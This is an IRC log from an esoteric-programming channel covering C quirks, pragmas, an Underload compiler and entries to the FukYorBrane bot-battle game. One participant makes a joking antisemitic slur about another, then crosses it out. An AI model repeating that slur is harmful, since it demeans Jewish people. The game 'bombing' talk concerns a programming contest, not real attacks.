21:11:04 <ais523> elliott: isn't the point to correct their incorrect assumptions?
21:11:30 <elliott> ais523: sort of, but it's mainly things like erroring on out-of-bounds array access
21:11:39 <elliott> which won't break "most" programs, but is still something you don't expect C to do at all
21:11:55 <ais523> I wouldn't expect padding bits in ints to break most programs either
21:12:03 <ais523> after all, the standard says they can happen...
21:12:15 <zzo38> ais523: Maybe it is better, because I don't think the octopus will live very well in the tree. But the difference is that the Internet is lying and you cannot see such things; you could make modified picture, though, in order to lie more clearly, at least.
21:12:32 <fizzie> ais523: Yes, you can still in C99 have padding bits, and some combinations of padding bits are allowed to be trap representations. (A padding bit that is a parity bit is mentioned as an example.)
21:12:49 <elliott> C is insane
21:12:59 <elliott> `addquote <zzo38> ais523: Maybe it is better, because I don't think the octopus will live very well in the tree. But the difference is that the Internet is lying and you cannot see such things; you could make modified picture, though, in order to lie more clearly, at least.
21:13:01 <HackEgo> 289) <zzo38> ais523: Maybe it is better, because I don't think the octopus will live very well in the tree. But the difference is that the Internet is lying and you cannot see such things; you could make modified picture, though, in order to lie more clearly, at least.
21:13:24 <zzo38> elliott: I think C is good, regardless of whether or not it is insane.
21:13:50 <fizzie> You could make it so that all N-bit integers are actually 2*N bits, where the other half is padding bits and has the same values than the value bits except inverted; and any representation where first_half != ~second_half is a trap representation.
21:13:59 <elliott> ais523: hmm, have you come up with any innovations in underload data structure representation?
21:14:13 <ais523> elliott: not really, ints and lists are really the basis of everything
21:14:20 <fizzie> Quite many infrared remote controls send ints in that format. :p
21:14:21 <ais523> and in underload, list via "cons cell" is simplest
21:14:31 <fizzie> (LIRC has a thing for it too.)
21:14:34 <zzo38> You are taking the quote out of context. It doesn't say what "it" refers to in "Maybe it is better", you can out square brackets to tell you what it is, that is what other quotations do, too. (Here, "it" refers to internet lying, so put "internet lying" in square brackets)
21:15:02 <ais523> zzo38: elliott likes taking quotes out of context for amusement value
21:15:14 <fizzie> The "code, ~code" is pretty useful when 0s and 1s have different lengths (time-wise); you'll always have the same amount of 0s and 1s, and a fixed-length sequence.
21:15:29 <zzo38> ais523: OK, I didn't know that.
21:15:41 <ais523> fizzie: encoding 0 as 01 and 1 as 10 is also moderately common, in order to keep 0s and 1s in balance
21:15:55 <ais523> (that isn't a joke, many communication systems require 0s and 1s to be reasonably balanced in order to avoid malfunction)
21:16:11 <ais523> (such as radio, and copper wire)
21:16:23 <fizzie> That too; I don't quite recall if LIRC has an automagical way of doing that transformation to the entered codes, though.
21:17:07 <variable> best undefined behaviour ever was in very early versions of GCC if you didn't something obviously stupid (int *a; *a=1;) it would attempt to start nethack :-)
21:17:14 <pikhq> All of C's oddities only make sense when you consider it's meant to be a portable but rather low-level language.
21:17:21 <ais523> variable: it was on #pragma
21:17:58 <variable> ais523, I thought it occurred in a few places
21:18:01 <pikhq> variable: Ah, yes, #pragma starting nethack, or hack, or rogue, or fortune, or just giving up, depending on what was available, IIRC.
21:18:02 <variable> pikhq, 100%
21:18:13 <ais523> pikhq: or Emacs running a simulation of the Towers of Hanoi
21:18:19 <variable> O
21:18:21 <pikhq> ais523: Oh, right, that was in the list.
21:18:30 <ais523> it didn't quite give up, it printed "You are in a maze of twisty little compiler features, all different" (quote may not be exactly right)
21:18:34 <variable> I've considered filing a bug requesting the feature in clang
21:19:02 <elliott> it'd be very annoying if you actually used pragmas
21:19:08 <elliott> I think gcc spports a pragma or two now, anyway
21:19:26 <ais523> it does
21:19:32 <ais523> there are a few pragmas required by C99, in fact
21:19:38 <variable> #pragma pack and a few others
21:19:45 <ais523> the sane thing to do would be to merge _Pragma and __attribute__, although I'm not sure if they did that
21:19:45 <variable> ais523, _required_ ?
21:19:50 <elliott> I love the idea of requiring a compiler-specific pragma
21:19:52 <ais523> variable: #pragma STDC ...
21:19:58 <variable> ais523, ah
21:20:08 <variable> elliott, that is why I asked
21:20:59 <pikhq> God, #pragma.
21:21:08 <pikhq> Such a misfeature.
21:21:15 <ais523> _Pragma is not as bad
21:21:21 <ais523> but bear in mind that most langs have had pragmas for ages
21:21:23 <fizzie> They're all just boring floating-point pragmas (#pragma STDC FP_CONTRACT on-off-switch, as well as FENV_ACCESS and CX_LIMITED_RANGE).
21:21:34 <ais523> QBasic had them; and Algol-68 before that
21:21:34 <pikhq> Mostly because you can't generate a #pragma with the preprocessor.
21:21:36 <ais523> and that's just langs I know
21:21:44 <ais523> pikhq: _Pragma fixed that, as I said
21:21:48 <pikhq> Yes.
21:21:57 <variable> pikhq, #pragma is actually quite useful for requesting things of compilers without them taking other words as "reserved"
21:22:02 <pikhq> Well, you can *kinda* do #pragma with the preprocessor. Conditional #include.
21:22:19 <pikhq> Still. *shudder*
21:22:21 <ais523> ouch
21:22:26 <olsner> pragma pragma pragma foo
21:22:26 <ais523> that's... a) ingenious, b) twisted
21:22:31 <fizzie> I think _Pragma is pretty weird; it's a preprocessor directive that can be generated by the preprocessor.
21:22:41 <variable> _pragma or #pragma ?
21:22:53 -!- elliott has quit (Read error: Connection reset by peer).
21:23:02 -!- elliott has joined.
21:23:05 <zzo38> Sometimes I want to generate preprocessor directives from the preprocessor, so, instead I can use the prepreprocessor.
21:23:30 <ais523> zzo38: I think that's why m4 was invented
21:23:54 <elliott> ais523: btw, I'm calling my compiler unad, I think you can probably figure out why
21:24:07 <zzo38> ais523: m4 does not fit with C syntax very well.
21:24:09 <ais523> elliott: which compiler? underload? PedantiC?
21:24:17 <elliott> zzo38: but it was designed to fit with C-style syntax
21:24:18 <elliott> (ratfor)
21:24:23 <elliott> it's closer to c syntax than cpp
21:24:24 <ais523> zzo38: indeed it doesn't; just because it was invented for that purpose doesn't mean it's good at it
21:24:27 <elliott> ais523: underload
21:24:43 <variable> <elliott> ais523: btw, I'm calling my compiler unad, I think you can probably figure out why --> why?
21:24:51 <zzo38> elliott: Yes, it fits with ratfor, but ratfor isn't C even if it is a bit similar.
21:25:04 <elliott> variable: i want to see if ais523 can figure it out yet :)
21:25:55 <elliott> *first :)
21:26:08 <ais523> hmm, is the recent edit on [[Brainscrambler]] a genuine fix or subtle vandalism?
21:26:12 <ais523> I'm guessing the first, but don't know
21:26:22 <variable> ais523, link?
21:26:29 <ais523> http://esolangs.org/wiki/Brainscrambler
21:26:34 <variable> I meant link to edit
21:26:36 <variable> but meh
21:26:42 <ais523> it changed all instances of 2006 to 2004
21:26:51 <ais523> and that's the sort of thing that's hard to check either way
21:27:21 <elliott> ais523 won't even guess, pfft
21:27:36 <elliott> ais523: ask the ip, on the off-chance?
21:27:51 <elliott> http://esolangs.org/w/index.php?title=Brainscrambler&diff=8478&oldid=5503
21:27:57 <elliott> ais523: if you were still a WP admin you could check when the article was created/deleted
21:28:07 <ais523> oh, it was on WP?
21:28:15 <elliott> ais523: yes, probably the creator added it without thinking too hard
21:28:18 <ais523> I can check that anyway, don't need to be an admin to check the dates, just the content
21:28:24 <elliott> oh, right
21:28:35 <elliott> ais523: are you even going to guess? :)
21:28:58 <ais523> the article itself was created in 2006
21:29:01 <ais523> but that doesn't meant the lang was
21:29:09 <elliott> then I strongly suspect 2006
21:29:31 <elliott> because, what kind of person invents a very minor esolang, then two years later, adds it to Wikipedia?
21:30:56 <ais523> the sort of person who typically creates esolangs, unfortunately
21:31:01 <ais523> I think asking the IP would work wel
21:31:03 <ais523> *well
21:31:04 <elliott> how does perl 6 embed code in strings?
21:31:21 <ais523> "{code goes here}"
21:31:26 <elliott> ais523: yes, I realised when I said it that it was unfortunately a rather easy question to answer :)
21:31:51 <elliott> aha, interpolatedstring-perl6 is what i want
21:32:31 <elliott> ais523: aw come on, guess why it's called unad
21:33:43 <ais523> looking online, the person who's meant to have created it is semi-famous, but there are no details on the lang itself
21:34:40 <elliott> famous how?
21:35:40 <ais523> there's a WP article about them with 8 or so references
21:35:57 <zzo38> Please try to guess how this program works: BArD91-0 1di
21:36:23 <ais523> and the IP seems to be dynamic, so asking them wouldn't help
21:36:26 <ais523> I'll leave a talk page note
21:36:27 <elliott> ais523: ok, I'll tell you: underload = un derlo ad
21:36:29 <elliott> -> un ad
21:36:30 <elliott> -> unad
21:36:34 <elliott> SINCE YOU'RE TOO BORING TO GUESS
21:36:49 <elliott> ais523: dynamic IPs mean little nowadays
21:36:52 <elliott> since, routers rarely reconnect
21:37:02 <elliott> so they're usually static for relatively long periods of time
21:37:05 <elliott> so I'd still note on the IP talk page
21:37:57 * elliott wonders if ais523 is ignoring all unad talk
21:40:25 <fizzie> So your compiler is based on stripping out all the derlo.
21:40:54 <elliott> EXACTLY
21:41:03 <elliott> fizzie: (ais's fast underload interp is called derlo)
21:41:14 -!- Lymia has joined.
21:41:21 * Lymia hugs random people
21:41:28 <olsner> ah, [pf]unny name
21:41:38 <elliott> olsner: you're not oerjan!
21:41:52 <olsner> elliott: you're not oerjan either!
21:41:55 <fizzie> A packetfilterunny name?
21:42:03 <elliott> OH FIZZIE
21:42:04 <elliott> SUCH COMEDY
21:42:13 <fizzie> RUNNY NAME.
21:42:22 <olsner> fizzie: that is a [pf]unny response indeed
21:42:49 <Lymia> !fyb nothing-2 +[]
21:43:38 <ais523> hmm, fyb leaderboard activity
21:43:53 <EgoBot> Score for Lymia_nothing-2: 1.0
21:43:54 <ais523> I'm still moderately sure that the game's broken by long [....] chains designed to fail
21:44:04 <Lymia> :v
21:44:10 <Lymia> report.txt was empty before.
21:44:32 <elliott> meanwhile, in the realm of What That Doesn't Even Make Sense What Are You A Java Programmer
21:44:33 <Lymia> ais523, you think that's bad?
21:44:33 <elliott> <deech> Is there versions of the IO Monad that only allow reads for example - called an RO monad for example. So if some function was in the RO monad we know that it can only read the filesystem.
21:44:38 <ais523> !fyb [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:44:39 <EgoBot> Use: !fyb <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/fyb/
21:44:44 <ais523> !fyb ais_test1 [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:44:57 <EgoBot> Score for ais523_ais_test1: 72.8
21:45:10 <Lymia> If you write "@@", you set the data pointer to the current code pointer.
21:45:14 <Lymia> Let the implications of that sink in.
21:45:34 <ais523> ah, I didn't realise @ was quite /that/ broken
21:45:48 <Lymia> So.
21:45:52 <Lymia> You don't need to write [+]
21:45:56 <ais523> still, the program template I have there becomes better and better and better just by adding more % signs
21:45:57 <Lymia> You can write @+
21:46:07 <ais523> I tried to do it via @ before now, but messed up somehow
21:46:10 <ais523> so thought I'd do it the simple way
21:46:11 <elliott> !fyb ais_test1 [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:46:15 <elliott> oops, sorry for stealing your name
21:46:20 <elliott> at least i made the program better :P
21:46:20 <EgoBot> Score for elliott_ais_test1: 60.0
21:46:25 <Lymia> It's prefixed by user names.
21:46:27 <elliott> ais523: wait what
21:46:28 <elliott> randomness?
21:46:39 <ais523> elliott: no, it's got ais523_ais_test1 to compete against
21:46:45 <ais523> which is going to drive down the score as it's such a good program
21:46:57 <elliott> ah
21:47:06 <elliott> !fyb break [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:47:14 <EgoBot> Score for elliott_break: 44.3
21:47:16 <ais523> !fyb lose @[+]++++++++++++++!
21:47:17 <elliott> !fyb break [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:47:18 <EgoBot> Score for elliott_break: 54.0
21:47:19 <EgoBot> Score for ais523_lose: 1.2
21:47:22 <elliott> argh :D
21:47:25 <elliott> go away, other programs!
21:47:26 <elliott> hmm
21:47:28 <elliott> let's saturate the hill!
21:47:30 <elliott> MWAHAHA
21:47:39 <Lymia> I'll bring my response.
21:47:45 <ais523> I prefer BF Joust, it's much more resistant to that sort of shenanigans
21:47:45 <elliott> !fyb break2 [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:47:51 <elliott> i'm all about shannigans
21:47:53 <EgoBot> Score for elliott_break2: 37.2
21:47:54 <elliott> Lymia: link me to report.txt?
21:47:58 <ais523> http://codu.org/eso/fyb/report.txt
21:48:07 <Lymia> http://codu.org/eso/fyb/report.txt
21:48:12 <Lymia> You killed my @@ abuse bot.
21:48:12 <Lymia> :(
21:48:12 <ais523> happened to have it at the time, the run of "lose" was just to make it generate more quickly
21:48:13 <Lymia> Oh well.
21:48:16 <Lymia> I'm still at the top!
21:48:53 <elliott> !fyb litter [+][%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];{>>}[+]++++++++++++++!:
21:48:56 <EgoBot> Score for elliott_litter: 46.0
21:49:00 <ais523> Lymia: have you looked at BF Joust? it's another similar game
21:49:03 <elliott> and so trickles off more programs
21:49:04 <Lymia> Nope.
21:49:22 <ais523> on a similar principle, but instead of aiming at the opponent's code array, you mess about with a shared data array instead
21:49:31 * elliott gives himself credit on the egojoust section of [[BF Joust]]
21:49:32 -!- impomatic has joined.
21:49:35 <ais523> and try to trick the other program into falling off the end, or else set the element they started on to 0 while they aren't looking
21:49:51 <elliott> it made it sound like the tape length averaging and the polarities were the egojoust implementor's innovation :P
21:49:52 <elliott> *implementer's
21:50:01 <ais523> http://esolangs.org/wiki/BF_Joust
21:50:19 <Lymia> !fyb explode :@+[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];:{>>}[+]++++++++++++++!;@@:{>>}[+]++++++++++++++!;
21:50:21 <ais523> elliott: oh, they were yours not Gregor's?
21:50:22 <EgoBot> Score for Lymia_explode: 14.8
21:50:27 <elliott> ais523: yep
21:50:33 <ais523> Lymia: does ;: do anything but waste time?
21:50:39 <Lymia> :;
21:50:41 <Lymia> Starts a new thread.
21:50:44 <ais523> I fear I really badly misunderstand the fyb spec
21:50:47 <elliott> ais523: and i was going to implement them, but Gregor beat me to it, the filthy jew^W^Wrespectable, but irritatingly quickly programming, member of society
21:50:48 <ais523> and you wrote ;:, not :;
21:51:12 <Lymia> ;: is the end of a thread followed by the start of a thread.
21:51:26 <Lymia> !fyb explode :@+[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];:{>>}[+]++++++++++++++!;@@:{>>}[+]++++++++++++++!;
21:51:29 <EgoBot> Score for Lymia_explode: 46.0
21:51:36 <Lymia> !fyb explode :@+[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%];:{>>}[+]++++++++++++++!;@@:{>>}[+]++++++++++++++!;
21:51:38 <EgoBot> Score for Lymia_explode: 29.6
21:51:40 <elliott> let's make every other type of program go extinct!
21:51:43 <Lymia> Strange.
21:51:56 <elliott> grr, i can't even use c-mode
21:51:59 -!- zzo38 has quit (Quit: zzo38).
21:52:38 <Lymia> Another thing I dislike about FYB is that due to the @@ trick, you can reliablly generate a bot that will kill a target bot.
21:52:52 <Lymia> Automaticly.
21:52:58 <Lymia> And have it push other things off the hill too.
21:53:00 <ais523> Lymia: doesn't @ defect to the :, then + change it in-memory to a ;?
21:53:05 <ais523> that doesn't put 0 on the tape like ais_test1 does
21:53:11 <Lymia> ais523, eh?
21:53:16 <Lymia> @ sets the data pointer to the code pointer.
21:53:16 <ais523> I'm looking at explode
21:53:36 <Lymia> As the code being executed is @, the value has to be one away from overflow.
21:53:39 <Lymia> + causes it to overflow.
21:53:41 <ais523> @ is documented as moving the data pointer into your own code, not the enemy's code
21:53:48 <Lymia> It does the opposite too.
21:53:50 <Gregor> ais523, elliott: We Jews are known for our programming prowess.
21:53:51 <ais523> are you saying it moves onto that instance of the @?
21:53:52 <Lymia> @ does this exactly.
21:54:02 <Lymia> First, it sets the data pointer to the code pointer.
21:54:12 <Lymia> Then, it switches the data pointer from your program to the enemy's program, or vice versa.
21:54:28 <ais523> ah, the "sets the data pointer to the code pointer" isn't in the spec at all
21:54:36 <Lymia> Nope.
21:54:36 <ais523> no wonder I was never any good at FYB
21:54:40 <elliott> FYB is pretty much obsolete, dude :P
21:54:54 <ais523> although that gets round my lightspeed trick
21:55:09 <ais523> FYB isn't a massively bad idea, it's just let down by implementation somehow
21:55:16 <Phantom_Hoover> ais523, what's your lightspeed trick?
21:55:18 <ais523> making [] always loop at least once would help
21:55:36 <ais523> Phantom_Hoover: what's shown up there, using a [%%%%....%%%] loop to move the IP faster than the other thread's data pointer can catch up with it
21:55:40 <ais523> except via @@, apparently
21:56:01 <Lymia> litterer-2 basicly uses @@ to sprinkle lines of bombs all over the enemy's code.
21:56:09 <elliott> wow, it works
21:56:10 <Lymia> And hoping that it hits some code.
21:56:19 <elliott> properly, even, kinda
21:56:23 <ais523> why doesn't it always land in the same place?
21:56:38 <ais523> oh, or does it always switch to the /enemy/'s code pointer?
21:56:42 <ais523> that's broken beyond belief
21:57:19 <Lymia> ais523, defect switches between the two tapes.
21:57:32 <ais523> I know, I'm asking about where specifically on the tape it switches to it ends up
21:57:33 <elliott> ais523: guess the language:
21:57:34 <elliott> #define TYPE_{i} T_QUOT
21:57:34 <elliott> #define STR_{i} {show (toSrc bs xs)}
21:57:35 <elliott> #define STR_LEN_{i} {length (toSrc bs xs)}
21:57:35 <elliott> quo_{i}:
21:57:35 <elliott> {bodyToC xs}
21:57:36 <elliott> return;
21:57:42 <Lymia> Lisp?
21:57:46 <Lymia> No.
21:57:49 <ais523> elliott: that weird sort of C that LoseThos is written in?
21:57:53 <elliott> ais523: nope
21:57:54 <elliott> Lymia: nope
21:57:58 <Lymia> Objective C or something?
21:58:01 <Lymia> Smalltalk?
21:58:02 <elliott> nope, not C family
21:58:10 <olsner> haskell?
21:58:33 <ais523> hmm, it could be Haskell + cpp, actually
21:58:43 <ais523> except for that quo_ line
21:58:44 <elliott> it's Haskell with Perl 6 interpolated strings
21:58:48 <elliott> I was bit dishonest, it's in a quoted string
21:58:52 <ais523> ah, OK
21:58:54 <elliott> quoToC :: [[Flat UL]] -> Int -> [Flat UL] -> String
21:58:54 <elliott> quoToC bs i xs = [$qq|
21:58:54 <elliott> #define TYPE_{i} T_QUOT
21:58:54 <elliott> #define STR_{i} {show (toSrc bs xs)}
21:58:54 <elliott> #define STR_LEN_{i} {length (toSrc bs xs)}
21:58:55 <elliott> quo_{i}:
21:58:58 <ais523> you're using Perl 6 to generate Haskell?
21:58:58 <elliott> {bodyToC xs}
21:58:59 <elliott> return;
21:59:02 <elliott> |]
21:59:04 <elliott> ais523: nope, it's a Haskell module
21:59:10 <elliott> written by Audrey Tang, the creator of Pugs
21:59:15 <elliott> Text.InterpolatedString.Perl6
21:59:16 <ais523> err, wait, is that eval-ling Haskell at runtime?
21:59:17 <Lymia> That's disgusting.
21:59:21 <elliott> ais523: no, it's template haskell
21:59:23 <elliott> compile-time
21:59:26 <ais523> phew
21:59:26 <elliott> Lymia: what is?
21:59:34 <elliott> ais523: it was the best multiple-line-strings-without-pain module i could find
21:59:38 <elliott> (Haskell's string syntax sucks a bit)
21:59:39 <Lymia> Gregor, I wait to see your response.
21:59:40 <ais523> Haskell is one of the languages least capable of doing a Perl-style eval
21:59:53 <elliott> response to what?
21:59:54 <Lymia> Actually.
21:59:58 <Lymia> !fyb litterer-clone-1 http://lymia.x10.bz/evil.fyb
22:00:01 <Lymia> !fyb litterer-clone-2 http://lymia.x10.bz/evil.fyb
22:00:02 <EgoBot> Score for Lymia_litterer-clone-1: 81.2
22:00:03 <Lymia> !fyb litterer-clone-3 http://lymia.x10.bz/evil.fyb
22:00:05 <ais523> although you can probably retrofit it onto more or less anything
22:00:05 <EgoBot> Score for Lymia_litterer-clone-2: 73.0
22:00:06 <Lymia> !fyb litterer-clone-4 http://lymia.x10.bz/evil.fyb
22:00:08 <EgoBot> Score for Lymia_litterer-clone-3: 64.2
22:00:09 <Lymia> Let's clean out the hill.
22:00:10 <EgoBot> Score for Lymia_litterer-clone-4: 58.3
22:00:13 <elliott> hey, Lymia
22:00:17 <elliott> don't submit multiple bots with the same source
22:00:19 <elliott> that's evil
22:00:22 <elliott> besides
22:00:22 <Lymia> =3
22:00:29 <elliott> they'll tie against themselves
22:00:33 <Lymia> lol
22:00:33 <elliott> so they'll start getting lower scores rapidly
22:00:37 <ais523> I imagine a similar trick would work in BF Joust, too
22:00:38 <Lymia> They just pushed eachother down.
22:00:41 <ais523> the way the hill's calculated
22:00:58 <ais523> yay, I'm now winning
22:01:07 <elliott> ais523: it should probably treat two identical-when-expanded programs as a loss
22:01:11 <elliott> a very bad loss
22:01:12 <elliott> for both of them
22:01:32 <elliott> Lymia: what's disgusting?
22:01:38 <Lymia> Nothing~
22:01:51 <impomatic> I suppose I ought to try FYB :-)
22:02:08 <ais523> impomatic: it's your sort of thing, but has problems in practice
22:02:28 <ais523> <elliott> for both of them <--- just the newer, otherwise it'd be a really easy way to get rid of unwanted programs
22:02:32 <elliott> impomatic: FYB is like BF Joust: The Bad Early Version
22:02:34 <elliott> ais523: ah, indeed
22:02:37 <ais523> also, people could vary it a bit
22:02:42 <impomatic> I'll give it a go just so I can write a wiki page for it ;-)
22:02:49 <elliott> ais523: yes, but close-but-varying programs can be good modifications
22:02:56 <elliott> impomatic: http://esolangs.org/wiki/FukYorBrane
22:02:57 <ais523> elliott: FYB's not that like BF Joust, it's just that they're both BF-based
22:03:00 <elliott> impomatic: sorry to disappoint
22:03:02 <ais523> elliott: not that wiki
22:03:06 <elliott> oh, right
22:03:15 <ais523> (not to mention, the one on Esolang could do with improvement)
22:03:17 <impomatic> By the way, does anyone know how long it takes for a new Wikipedia page to be reviewed?
22:03:24 <ais523> impomatic: there isn't a review process
22:03:25 <elliott> the other wiki with that horrible ASP.NET software?
22:03:45 <elliott> impomatic: if you've made a page about BF Joust I doubt it'll last :-P
22:03:50 <Lymia> !fyb alicia http://lymia.x10.bz/evil.fyb
22:03:53 <EgoBot> Score for Lymia_alicia: 98.0
22:04:01 <ais523> there are new page patrollers, who will either catch problems with a page within the first half hour, or approximately 4 weeks after creation just before it falls off the back of the queue
22:04:04 <olsner> impomatic: 3 units of time, at least
22:04:06 -!- Mathnerd314 has joined.
22:04:07 <impomatic> elliott: that's right, on the horrible wiki :-P
22:04:10 <ais523> otherwise, it relies on people finding them at random
22:04:21 <elliott> impomatic: i just can't stand the software, nothing personal :P
22:04:40 <Lymia> Heh.
22:04:47 <Lymia> One additional thing I might like about BF joust.
22:04:47 <ais523> !fyb lose @[+]++++++++++++++!
22:04:49 <EgoBot> Score for ais523_lose: 5.1
22:04:56 <ais523> gah, why does lose keep winning?
22:05:04 <ais523> gah, why does lose keep winning?
22:05:04 <Lymia> ais523, self-bombers
22:05:06 <ais523> !fyb lose @[+]++++++++++++++!
22:05:08 <EgoBot> Score for ais523_lose: 5.1
22:05:11 <elliott> :D
22:05:14 <ais523> Lymia: it /is/ a self-bomber
22:05:14 <elliott> `addquote <ais523> gah, why does lose keep winning?
22:05:15 <HackEgo> 290) <ais523> gah, why does lose keep winning?
22:05:20 <ais523> and the most efficient one I could come up with
22:05:20 <elliott> ais523: quicker self-bombers
22:05:24 <Lymia> !fyb real-lose [@+++++++++++++++!]
22:05:28 <EgoBot> Score for Lymia_real-lose: 5.1
22:05:29 <impomatic> ais523: http://en.wikipedia.org/wiki/Color_Robot_Battle <- I assumed there's a review process from the tag at the top... I was waiting to see if it's deleted for lack of notability.
22:05:30 <elliott> what do invalid instructions do in fyb?
22:05:32 <Lymia> !fyb real-lose-2 +[@+++++++++++++++!]
22:05:37 <EgoBot> Score for Lymia_real-lose-2: 5.1
22:05:39 <Lymia> elliott, there are none.
22:05:40 <Lymia> What.
22:05:40 <ais523> oh, it does lose to everything, just doesn't get no points
22:05:44 <Lymia> What is it wining agienst.
22:05:58 <elliott> impomatic: I think that just means nobody's looking at it yet
22:06:02 <ais523> impomatic: the tags are filed into dated categories, that people look at occasionally; people have to be proactive about doing something about them
22:06:12 <ais523> if you fix the problem a tag describes, you can remove it yourself
22:06:19 <elliott> impomatic: the article looks to be well-written as far as formatting, references etc. goes, so I'd say it has a good chance
22:06:22 <ais523> and if you think the problem's fatal, you can nominate the article for deletion
22:06:31 <elliott> and it seems notable enough, although ofc not everybody agrees with my definition
22:06:31 <ais523> mostly, though, articles just stay tagged indefinitely, more or less
22:06:40 <elliott> (I wouldn't mind an in-depth article on every Pokemon...)
22:06:58 <elliott> ais523: he wrote the page
22:07:00 <elliott> looking at the histor
22:07:00 <Lymia> elliott, that goes on Bulbapedia.
22:07:01 <elliott> y
22:07:01 <Lymia> =p
22:07:08 <elliott> Lymia: indeed, but I don't see why it shouldn't go on Wikipedia
22:07:23 <Lymia> !fyb nothing +[]
22:07:25 <EgoBot> Score for Lymia_nothing: 1.0
22:07:26 <elliott> impomatic: (cur | prev) 22:06, 2 February 2011 OoS (talk | contribs) (1,280 bytes) (←Created page with '{{New unreviewed article|source=ArticleWizard|date={{subst:CURRENTMONTHNAME}} {{subst:CURRENTYEAR}}}} '''Color Robot Battle''' is an early programming game for...')
22:07:27 <ais523> Bulbapedia has /multiple/ in-depth articles on some Pokémon
22:07:28 <elliott> you _added_ that tag!
22:07:35 <elliott> X-D
22:07:42 <ais523> e.g. distinguishing between Pikachu in general, and Ash's Pikachu in particular
22:07:42 <Lymia> elliott, on the subject of BF Joust.
22:07:47 <elliott> I don't think you're meant to add it to your own pages
22:07:48 <elliott> ais523: haha
22:07:49 <Lymia> I see one thing nice about it.
22:07:55 <ais523> elliott: no, it gets added by the article wizard
22:08:00 <elliott> ah
22:08:00 <impomatic> Elliott: the tag was added by the new article wizard :-)
22:08:23 <Lymia> You could write an evolver for it.
22:08:27 <Lymia> Win/lose is not an boolean value.
22:08:42 <impomatic> An evolver for FYB?
22:08:46 <elliott> evolving bf never seems to go very well
22:08:47 <elliott> impomatic: no, BF Joust
22:09:12 <ais523> elliott: if you're talking about notability within the area of Pokémon, Ash's Pikachu is obviously pretty special compared to others
22:09:22 <ais523> so it makes sense for Bulbapedia to have multiple articles like that
22:09:39 <elliott> ais523: I think Pokemon itself is notable enough for the entire contents of Bulbapedia being worthy of inclusion into Wikipedia, really
22:09:50 <elliott> I don't think too many people agree, though
22:09:59 <ais523> elliott: some would be a bit dubious
22:10:06 <elliott> well, OK, but certainly most
22:10:22 <elliott> all this and rabid inclusionists still annoy me...
22:10:27 <ais523> especially the whole Shipping namespace, which is full of things like carefully arranged arguments for and against Ash's Bulbasaur being in love with Dawn's Bulbasaur
22:10:36 <elliott> that /exists/?
22:10:40 <elliott> :D
22:10:42 <ais523> yep
22:10:45 <elliott> that's brilliant. -ly terrible.
22:11:00 <ais523> notability by Bulbapedia standards is measured relative to Pokémon as a whole
22:11:15 <ais523> so it goes down much lower than standards relative to the world as a whole
22:11:59 <elliott> haha, wow, it warns you before letting you load a page in that namespace
22:12:27 <elliott> "Holding hands is often used to show attraction" who the hell wrote this page and were they above the age of 4?
